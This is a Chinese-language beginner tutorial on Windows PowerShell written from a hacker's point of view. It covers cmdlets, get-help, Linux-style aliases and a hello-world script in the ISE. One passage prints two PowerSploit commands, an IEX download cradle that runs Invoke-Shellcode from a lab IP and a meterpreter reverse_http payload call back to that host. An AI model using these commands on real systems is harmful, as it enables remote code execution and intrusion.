黑客如何玩powershell脚本?
我坚信要成为一名真正的职业黑客,您需要精通 Linux。这有很多很好的理由。
大多数黑客工具都是在 Linux 中开发的(超过 90%)。
Linux 为我们提供了更大粒度的控制。
Linux 中的终端让我们可以完全控制操作系统,而 Windows 中的 cmd.exe 功能有限。
最重要的是,Linux 是开源且透明的。
这意味着我们实际上可以看到源代码并在很大程度上比封闭源和不透明的Windows操作系统更大程度地操纵操作系统。
近年来,微软似乎已经“承认”了Linux中命令行和终端的优势。他们现在似乎了解了命令行的优势和优势,并作为回应引入了 Windows PowerShell。
PowerShell 背景
早在 1990 年代,微软就已经认识到他们的 cmd.exe 的局限性,并试图用一堆变通方法来解决它。2002 年,Microsoft 发布了一份关于正在开发的产品的白皮书,称为 MONAD,或 Microsoft Shell。最终,Windows PowerShell 在 2007 年作为附加组件发布,Windows PowerShell 2.0 完全集成到 Windows 7 和 Windows Server 2008 以及此后的所有 Windows 操作系统中。
Windows PowerShell 从 Linux 环境中借鉴了很多内容,包括许多 Linux 命令。它还包括将命令和链接命令连接到脚本的能力。
有了 PowerShell 能力,Windows 就成为了一个更强大的黑客平台,但在微软将其源代码开源之前,Linux 仍将是黑客首选的操作系统。
另一方面,目标Windows 系统上的 PowerShell 可用于利用或破坏它。例如,这些 PowerShell 命令用于 PowerSploit 漏洞利用;
PS>IEX(New-Object Net.WebClient).DownloadString("http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1")
PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -Force
我的观点很简单,Powershell 对 Windows 管理员来说是一个很棒的工具,但为黑客增加了一个攻击向量。因此,您应该熟悉它。
Cmdlet
Windows PowerShell 和 Linux 中的 BASH shell 之间的主要区别之一是 Microsoft 为 PowerShell 开发了 cmdlet(command-let)。它们 cmdlet 本质上是完成有时更复杂任务的单个命令,类似于函数。这些 cmdlet 采用动词名词的形式,例如“get-help”。
第 1 步:打开 Powershell
许多系统管理员和用户并不知道在熟悉的 Windows GUI 下隐藏着一个强大的工具和引擎来操作 Windows。您可以通过在“开始”或“Windows”按钮的搜索窗口中键入“powershell”并单击“PowerShell”来访问它。
当它打开时,您应该会看到一个如下所示的屏幕。
第 2 步:获得帮助
我们打开 PowerShell 终端,我们首先要探索的是如何获得帮助。PowerShell 有一个名为——不出所料——“get-help”的 cmdlet。
当我们输入“get-help”时,我们会收到类似上面的帮助屏幕。Microsoft 为这个 cmdlet 设置了别名,以便“help”和 Linux 命令“man”完成相同的操作
第 3 步:上下文相关帮助
正如您在Linux中所记得的那样,您可以通过在命令前加上关键字“man”来查看 Linux 中任何命令的手册页。同样,在 Windows PowerShell 中,您可以使用“get-help”后跟 cmdlet 来查看手册页。让我们获取名为“Write-Output”的 cmdlet 的手册页。
PS > get-help Write-Output
在上面看到 PowerShell 返回 cmdlet 的手册页“Write-Output”。正如我上面提到的,“man”和“help”都将提取相同的上下文相关信息。
第 4 步:运行与 Linux 相同的命令
微软认识到 Linux 系统管理员更习惯于从命令行工作并鼓励他们采用和使用 PowerShell,他们将许多最常见的 Linux 命令别名为 PowerShell。
PowerShell 中可用的一些 Linux 命令包括但不限于以下内容。
·grep
·cat
·ps
·mv
·rm
·echo
·pwd
·kill
·export
·cp
·pwd
下面的列表包括许多最常用的 cmdlet 及其在 cmd.exe 和 Linux/UNIX 中的别名。
很多时候,这些 PowerShell cmd-let 看起来比 Linux 或别名命令有点笨拙。例如,cmd.exe 中的“dir”命令或 Linux 中的“ls”命令在 PowerShell 中是“Get-Childitem”。
第 5 步:使用集成脚本环境
要在 PowerShell 中创建脚本,类似于 Linux,您可以使用记事本或其他文本编辑器,例如 Notepad 。此外,PowerShell 附带一个我们可以使用的集成脚本环境 (ISE)。
进入 ISE 的方法有很多,但最简单的方法可能是转到“搜索”窗口并输入“Powershell”。您将看到除了 PowerShell 环境之外,您还可以选择 PowerShell ISE。
这将打开 PowerShell ISE,如下所示。
第 6 步:Hello Hackers-Arise!
开始使用任何编程语言时,都需要编写无处不在的“Hello World”程序,我们将在这里创建自己的“Hello Hackers-Arise”脚本。
打开 ISE 后,我们可以键入:
写输出“Hello Hackers-Arise!”
就像在 Linux 终端中一样,我们将字符串“Hello World”括在双引号中,表示我们希望输出字符串文字(意味着我们想要这些人类语言单词而不是计算机命令)。
然后我们可以单击绿色的执行按钮来运行我们的脚本,输出将出现在中间屏幕上,如上图所示。
然后,我们可以通过转到“文件”菜单并选择“保存”来保存此脚本。当您这样做时,它会提示您输入文件名,然后将其保存为 .ps1 文件扩展名。
我们可以通过打开运行 Hello Hackers-Arise.ps1 的 PowerShell 环境或在脚本打开的情况下单击 ISE 上的绿色箭头来运行此脚本。
我们刚刚了解了 PowerShell 可以做什么,并且我们创建了一个简单的单行脚本,但在未来的教程中,我们将从攻击者的角度深入研究 PowerShell 的功能。我们将使用 PowerShell 开发一个端口扫描器。